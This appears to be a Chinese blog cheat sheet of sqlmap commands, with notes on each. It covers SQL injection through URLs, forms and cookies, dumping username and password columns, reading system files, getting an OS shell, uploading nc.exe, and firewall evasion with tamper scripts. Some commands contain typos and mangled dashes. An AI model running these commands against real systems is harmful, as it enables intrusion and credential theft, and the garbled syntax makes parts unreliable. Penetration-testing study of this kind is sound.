填坑~~
SQLMap常见语句
首先要明确
整个的单词 需要用两个横杠–
缩写的单词 需要一个横杠-
参考:https://www.freebuf.com/sectool/164608.html
一、个人常用语句总结:
1、最常用URL注入语句 sqlmap.py -u http://192.168.0.102/sqlserver/1.aspx?xxser=1
–level=LEVEL 执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
- -risk=RISK 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
2、批量注入 sqlmap.py -m oldboy.txt
3、模拟测试手机环境站点 sqlmap.py -u”http://www.oldboyedu.com/vuln.php?id=1” –mobile
4、智能判断测试 sqlmap.py -u “http://www.oldboyedu.com/info.php?id=1“–batch –smart
5、post注入 sqlmap.py -r burpsuite抓包.txt
6、指定参数注入 sqlmap.py -r post.txt -p 注入参数
7、指定表单注入 sqlmap.py -u URL –data“username=a&password=a”
二、sqlmap自动填写表单注入
sqlmap.py -u URL --forms
sqlmap.py -u URL –forms --dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2
–current-user:大多数数据库中可检测到数据库管理系统当前用户
–current-db:当前连接数据库名
–is-dba:判断当前的用户是否为管理
–users:列出数据库所有所有用户
sqlmap.py -u URL –forms –dbs
sqlmap.py -u URL –forms –current-db
sqlmap.py -u URL –forms -D 数据库名称 –-tables
sqlmap.py -u URL –forms -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -C username,password --dump
三、sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “ant[uname]=admin″ –dbs --level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie “id=xx” --level 3
sqlmap.py -u url --cookie “id=xx”–level 3 --tables(猜表名)
sqlmap.py -u url --cookie “id=xx”–level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie “id=xx”–level 3 -T 表名 -C username,password --dump
四、扩展命令执行
1、sqlmap.py-u “url” --file-read /etc/password
2、sqlmap.py -u “url” --os-cmd="net user” /执行net user命令/
3、sqlmap.py -u “url” --os-shell /系统交互的shell/
4、sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“-–file-read “C:/example.exe” -v 1
5、python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” -–file-write "/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1 /将/software/nc.exe文件上传到C:/WINDOWS/Temp下/
五、SQLMAP突破Waf
- mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,”/*!0%s” % word) 为:
return match.group().replace(word,”/!50000%s/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query=”CAST(%s ASCHAR)”/>为:
<castquery=”convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试
sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释